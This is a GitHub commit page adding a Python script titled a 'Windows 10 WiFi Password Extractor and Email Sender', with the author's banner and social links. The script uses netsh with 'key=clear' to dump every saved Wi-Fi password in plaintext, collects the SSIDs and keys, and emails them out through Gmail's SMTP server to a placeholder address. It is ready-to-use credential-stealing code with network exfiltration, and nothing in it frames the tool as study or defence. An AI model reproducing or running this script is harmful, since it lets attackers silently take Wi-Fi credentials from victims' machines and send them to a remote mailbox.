Skip to content

Commit

Permalink
Merge pull request #2 from V1vekW/patch-2
Browse files Browse the repository at this point in the history
Create  Windows 10 WiFi Password Extractor and Email Sender
  • Loading branch information
AryanVBW authored Oct 13, 2024
2 parents ca1d6c5 + 2a8571a commit 73318f4
Showing 1 changed file with 56 additions and 0 deletions.
56 changes: 56 additions & 0 deletions windows10-WIFI-Email.py
Original file line number Diff line number Diff line change
@@ -0,0 +1,56 @@
import subprocess
import re
import smtplib
from email.message import EmailMessage

command_output = subprocess.run(["netsh", "wlan", "show", "profiles"], capture_output=True).stdout.decode()
profile_names = re.findall("All User Profiles : (.*)\r", command_output)
wifi_list = list()
print(r"""
//////////////////////////////////////////////////
//__ ___ _____ _ _ //
//\ \ / (_) ___(_) | | __ _ _ __ ___ //
// \ \ /\ / /| | |_ | | _ | |/ _` | '_ ` _ \ //
// \ V V / | | _| | | | |_| | (_| | | | | | |//
// \_/\_/ |_|_| |_| \___/ \__,_|_| |_| |_|//
//////////////////////////////////////////////////
""")
print("\n****************************************************************")
print("\n* Copyright of *Vivek W*, 2024")
print("\n* 🔥GitHub: github.com/AryanVBW")
print("\n* 🌐Site: portfolio.aryanvbw.live")
print("\n* 💖Instagram: Aryan_Technolog1es")
print("\n* 📧Email: [email protected]")
print("\n****************************************************************")

if len(profile_names) != 0:
for name in profile_names:
wifi_profile = dict()
profile_info = subprocess.run(["netsh", "wlan", "show", "profile", name], capture_output=True).stdout.decode()
if re.search("Security key : Absent", profile_info):
continue
else:
wifi_profile["ssid"] = name
profile_info_pass = subprocess.run(["netsh", "wlan", "show", "profile", name, "key=clear"], capture_output=True).stdout.decode()
password = re.search("Key Content : (.*)\r", profile_info_pass)
if password is None:
wifi_profile["password"] = None
else:
wifi_profile["password"] = password[1]
wifi_list.append(wifi_profile)

email_message = ""
for item in wifi_list:
email_message += f"SSID: {item['ssid']}, Password: {item['password']}\n"

email = EmailMessage()
email["from"] = "name_of_sender"
email["to"] = "email_address"
email["subject"] = "WiFi SSIDs and Passwords"
email.set_content(email_message)

with smtplib.SMTP(host="smtp.gmail.com", port=587) as smtp:
smtp.ehlo()
smtp.starttls()
smtp.login("login_name", "password")
smtp.send_message(email)

0 comments on commit 73318f4

Please sign in to comment.